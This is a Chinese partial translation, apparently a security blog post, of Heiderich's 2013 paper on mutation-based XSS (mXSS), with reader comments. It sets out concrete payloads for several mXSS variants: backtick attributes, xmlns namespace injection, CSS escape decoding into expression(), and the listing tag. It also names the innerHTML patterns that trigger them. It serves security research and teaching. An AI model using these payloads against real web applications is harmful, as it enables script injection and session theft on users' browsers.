mXSS攻击的成因及常见种类
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0x00 译者的话


本文原文是由国外大牛Mario Heiderich在2013年所写的一篇paper:mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. 本人觉得此类mXSS攻击较为隐蔽,常规的XSS过滤器并不能防止此类攻击。在测试QQ空间日志中的确存在此类问题后,认为mXSS在WEB应用中还是存在较大的潜在危害,因此,决定将此文做一个翻译。但是,一来由于水平有限,仅能依靠自己浅薄的理解来大致的翻译一下,文中图片以及代码都是在自己的理解上加以重新阐述,也许这样更加易于读者掌握。如果英文较好的同学可自行阅读英文原版。二来,我个人仅注重“攻”的一部分,本文中我认为实用性不高的部分,以及如何防御此类攻击的大幅段落,我并未进行翻译,因而有需要的读者也需要自行去了解这些部分。不论如何,希望本文能够让国内的研究者们对mXSS有一个基本的了解。

0x01 简介


不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入(图1)。然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting),整个流程的示意图见图2。从流程中不难看出,突变发生在XSS过滤流程之后,因此不论是服务器端还是客户端的XSS过滤器对这类攻击并不能进行有效的防御。

2014022300123470806.png

图1. XSS过滤所假设的前提

2014022300151189780.png

图2. mXSS攻击流程

将内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,根据原文作者的统计,1W个常见的WEB应用中,大约有1/3使用了innerHTML属性,这将会导致潜在的mXSS攻击。从浏览器角度来讲,mXSS对三大主流浏览器(IE,CHROME,FIREFOX)均有影响。表1列出到目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。建议读者主要使用IE8来测试本文中的代码。具体测试代码如下:

<div id="testa">xx</div>
<div id="testb">xx</div>

<script>
//请自行将输入的HTML代码中的双引号以及 \进行转义操作
//其中: " -> \" , \ -> \\
var m="此处输入被测试的HTML代码"; 

//1. 将用户输入内容放入innerHTML
var x=document.getElementById("testa");
x.innerHTML=m;
//2. 发生突变后,取出突变后的内容,放入html变量
var html=x.innerHTML;
//3. 弹出突变后的代码
alert(html); 
//4. 将突变后的代码输出到DOM中
document.getElementById("testb").innerHTML = html;

</script> 

  表1. 本文中所涉及的mXSS种类

英文 中文
Backtick Characters breaking Attribute Delimiter Syntax 反引号打破属性边界导致的 mXSS
XML Namespaces in Unknown Elements causing Structural Mutation 未知元素中的xmlns属性所导致的mXSS
Backslashes in CSS Escapes causing String-Boundary Violation CSS中反斜线转义导致的mXSS
Misfit Characters in Entity Representation breaking CSS Strings CSS中双引号实体或转义导致的mXSS
CSS Escapes in Property Names violating entire HTML Structure CSS属性名中的转义所导致的mXSS
Entity-Mutation in non-HTML Documents 非HTML文档中的实体突变
Entity-Mutation in non-HTML context of HTML documents HTML文档中的非HTML上下文的实体突变

0x02 反引号打破属性边界导致的 mXSS


该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复,所以当前绝大多数用户的浏览器不会被此mXSS所影响。当时的利用代码如下:

输入形式:

<img src="test.jpg" alt ="``onload=xss()" />

突变形式:

<IMG alt =``onload=xss() src ="test.jpg"> 

可以看到,突变后的形式变成了有效的XSS攻击代码。 

0x03 未知元素中的xmlns属性所导致的mXSS


一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。对于开发者来说,虽然是未知标签,但是我们还是可以通过设置这些标签的xmlns 属性,让浏览器知道这些未知的标签是的XML命名空间是什么。一般来说,在HTML中,指定这些未知标签的xmlns属性并没有任何意义,也不会改变它们在浏览器中的外观之流的东西。但是,这些被指定了xmlns属性的标签进入innerHTML后,被浏览器所渲染,就会发生一些变化,而这个变化被十分猥琐的用于了XSS。首先我们来看正常情况下设置xmlns的情况。

输入形式:

<pkav xmlns="urn:wooyun">123

突变形式:

<wooyun:pkav xmlns="urn:wooyun">123</wooyun:pkav>

接着猥琐流很快就会想到下面的代码,可以看出,成功变成了含有onerror=alert(1) 的img标签。

输入形式:

<pkav xmlns="urn:img src=1 onerror=alert(1)//">123

突变形式:

<img src=1 onerror=alert(1)//:pkav xmlns="urn:img src=1 onerror=alert(1)//">123</img src=1 onerror=alert(1)//:pkav>

扩展:细心的同学也许会注意到,我们的代码中,并未闭合 标签。那么一个经常碰到的场景是:XSS过滤器会在解析HTML代码时,自动补全未闭合的标签。这样一来,就会出现下面的场景:

输入形式:

<pkav xmlns="urn:wooyun">123

过滤后形式:

<pkav xmlns="urn:wooyun">123</pkav>

突变后形式:

<?XML:NAMESPACE PREFIX = [default] urn:wooyun NS = "urn:wooyun" /><pkav xmlns="urn:wooyun">123</pkav>

聪明的我们应该不难想到应对办法,这应该也就是http://html5sec.org/?xmlns#97中所描述问题的发现过程(由Silin于2011年发现)。

输入形式:

<pkav xmlns="><iframe onload=alert(1)">123</pkav>

突变后形式:

<?XML:NAMESPACE PREFIX = [default] ><iframe onload=alert(1) NS = "><iframe onload=alert(1)" /><pkav xmlns="><iframe onload=alert(1)">123</pkav>

0x04 CSS中反斜线转义导致的mXSS


在CSS中,允许用\来对字符进行转义,例如:property: 'v\61 lue' 表示 property:'value',其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就发生了。看以下代码。

输入形式:

<p style="font-family:'ar\27 \3bx\3a expression\28xss\28\29\29\3bial';"></p>

突变形式:

<P style="FONT-FAMILY: 'ar';x:expression(xss());ial'"></P>

可以看到,突变后的形式中,原输入的font-family的属性值中的所有转义形式均被解码回它原有的形式。其中\27被解码为单引号,提前闭合掉了FONT-FAMILY属性,接着插入了我们自定义的x属性,利用expression来执行Javascript代码。如果结合我们先前已经有所了解的CSS 中的一些XSS技巧,将会让情况看起来变得更加糟糕。例如以下代码,看起来,我们可以把expression变得乱七八糟。

输入形式:

<p style="font-family:'ar&#x5c;27 \3bx\3a ex\5cpre\2f**\2fssion\28 xss\28 1\29\29\3bial';"></p>

突变形式:

<P style="FONT-FAMILY: 'ar';x:ex\pre/**/ssion(xss(1));ial'"></P>

0x05 CSS中双引号实体或转义导致的mXSS


接着上一部分,依然是CSS中所存在的问题,既然反斜线转义会被解码为它原本的形式,那么会出现下面这样一种情况。

输入形式:

<p style="font-family:'aaaa\22\3e\3cimg onerror ….';"></p>

预期的突变形式:

<p style="font-family:'aaaa"><img onerror ….';"></p>  

这样一来,不就可以插入任意标签了么?想法很好。但实际上如何呢?

实际的突变形式:

<P style="FONT-FAMILY: 'aaaa'><img onerror ….'"></P>

并非我们想象的那样,而是我们的\22竟然变成了单引号,按照原文作者的说法,我们只能对这种奇怪的结果所产生的原因做出推测:\22 先被解码为 ",但考虑到双引号会闭合掉style属性,所以浏览器渲染引擎将"进一步转变为了',以避免这种情况的发生。当然,这也意味这,除了 \22,\0022 之外,HTML实体如:&quot; &#x22; &#34; 等双引号的表示形式均可导致这类问题。

0x06 CSS属性名中的转义所导致的mXSS


前2部分都讲到的CSS属性值中的情况,如果CSS属性名中出现了反斜线转义,又会如何?见下面代码。

输入形式:

<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">

突变形式:

<IMG style="font-fam"onerror=alert(1) ily: ''" src="1"> 

可以看到,我们用转义的内容,嵌入到font-family的属性名中,突变后,\22被解码回双引号,并且闭合掉了style属性,从而我们可以通过onerror事件执行javascript代码,需要注意的是,=号,括号等也需要被写为转义形式。我们亦可在\22后加上\3e来闭合掉img标签,并在此之后插入自己的HTML标签。

有时,我们还会碰到style属性用单引号做边界符的情况。对于这种情况,style的边界符会被渲染回双引号,我们的\22依然可以发挥它的作用,例如:

输入形式:

<p style='fo\27\22o:bar'>

突变形式:

<p style="fo'"o: bar"></p>

0x07 Listing标签导致的mXSS


此外,在本文原作者的PPT中,还提到了一个<listing>标签导致的mXSS,大家理解上面的例子后,本例也较为简单。

输入形式:
<listing>&lt;img src=1 onerror=alert(1) &gt;</listing>

突变形式:

<LISTING><img src=1 onerror=alert(1) ></LISTING>

WooYun: QQ空间某功能缺陷导致日志存储型XSS - 15 中,笔者就使用了该标签来触发了 mXSS(IE8及IE9下目前均有效),读者可以参考该实际案例进一步了解mXSS的攻击及挖掘流程。

0x08 易于被mXSS攻击的Javascript代码


上面已经讲解了不同种类的mXSS,那么什么样的代码易于遭受mXSS攻击呢?根据图2中的mXSS流程,JS代码中,至少要将用户提供的内容放入DOM中两次,才会触发XSS攻击。原作者给出了以下代码场景:

1) a.innerHTML = b.innerHTML ;
2) a.innerHTML += 'additional content';
3) a.insertAdjacentHTML ( 'beforebegin' , b.innerHTML ) ;
4) document.write (b.innerHTML) ;

其中,1) 与 4) 里的b.innerHTML含有突变后的内容,被通过innerHTML或者是document.write的方式再次输出到DOM中,从而触发mXSS。 3)使用了insertAdjacentHTML函数(算是innerHTML的加强版,具体用法可自行了解)来将含有突变内容的b.innerHTML加入a中,从而导致mXSS。而2) 则较为隐蔽,a.innerHTML中存在突变后的内容,当我们使用+=来向a.innerHTML中追加内容时,a会被重新渲染,从而触发mXSS。

0x09 总结


原文中还有两类:非HTML文档中的实体突变以及HTML文档中的非HTML上下文的实体突变,本人觉得被实际应用的场景并不丰满,就不进行阐述了,有兴趣的研究者可以自行了解。 希望看过本文后,可以为大家提供一些思路性的东西。 如果你有此方面的意外发现,一定不要忘了与我分享:gainover@qq.com(欢迎邮箱xss来稿)。

0x10 参考文献


1. Heiderich, M., Schwenk, J., Frosch, T., Magazinius, J., & Yang, E. Z. (2013, November). mXSS attacks: attacking well-secured web-applications by using innerHTML mutations. In Proceedings of the 2013 ACM SIGSAC conference on Computer & communications security (pp. 777-788). ACM.

2. Heiderich, M. The innerHTML Apocalypse. http://www.slideshare.net/x00mario/the-innerhtml-apocalypse. Security Research / Penetration Testing at Cure53 on Apr 25, 2013

相关日志

楼被抢了 34 层了... 抢座Rss 2.0或者 Trackback

  • xsser

    得好好消化一阵

  • Coffee

    高端。收藏了。。。翻译辛苦~

  • Undoit

    学习了

  • lxj616

    弹了………………无敌了

  • 孤独雪狼

    无敌了二哥

  • hysia

    还有一种 cXSS Copy-based Cross-Site-Scripting
    就到到处复制粘贴代码片段到编辑器导致的XSS。这个可以有。

  • 淡漠天空

    弹窗。。。。。。。。。。。。了

  • Ivan

    2哥……弹窗了。。。。。。。

  • HackBraid

    弹了!

  • 小雨

    我中招了,弹了两个alert(1)

  • Vigoss_Z

    没弹

  • 雅柏菲卡

    没弹

  • 疯子

    很不错 感谢二哥!

  • 瓶几

    装了ScriptSafe

  • Ivan

    Chrome没弹
    IE8 关了xss筛选器 弹了

  • qwerty

    千万不要搜索这个大牛 Mario Heiderich

  • Stardustsky

    关了筛选器,没弹……

  • wenien

    @gainover 我也翻译了。。两个月前。。竟然发出来了

  • Wenien

    二哥,,,求别啊。。。这个是我两个月前做好的毕设翻译。。你翻译出来我就被“去重”功能搞掉了。。。

    • gainover

      论文查重应该不会查到乌云上来吧。

      • Wenien

        不是论文,是论文前的翻译,不过幸亏你只是翻译了那个攻击部分。现在我感觉应该不用太担心。

  • marry

    楼上黑哥吐槽了 其实这个刺总六年前就发过文章了 90后门

    • gainover

      如果你觉得该文章是在强调一个新类型的东西,那你就理解错了,这里并不是在说这种类型的漏洞有多新,反引号的tips,文章中也说到07年就有了。原文作者更强调的是,在反引号之后,又有哪些东西会导致同类型的问题,这个我不认为6年前刺总的文章中会全部提到。

      • 80vul

        blog_text.innerHTML = blog_text.innerHTML.replace(/href\s*=\s*("|')?(\.\.\/\.\.\/)/gi,"href=$1../$2"); // copying-innerHTML

        这个replace的方法 马里奥那文章里好像没有提到 :)

        • gainover

          我觉得,这应该也属于 a.innerHTML = b.innerHTML 的类型的特例(当a=b)时

  • livers

    博士 说的在理。 之前可没有变异之说,并未总结出这么多的方式。特例和原理还存在一定距离。

  • 木马游民

    锅锅这个暑假我来你们PKAV学习

  • HackBraid

    Discuz就没中招?

  • len
  • 卡卡

    2哥超神了,队伍组起来啊!

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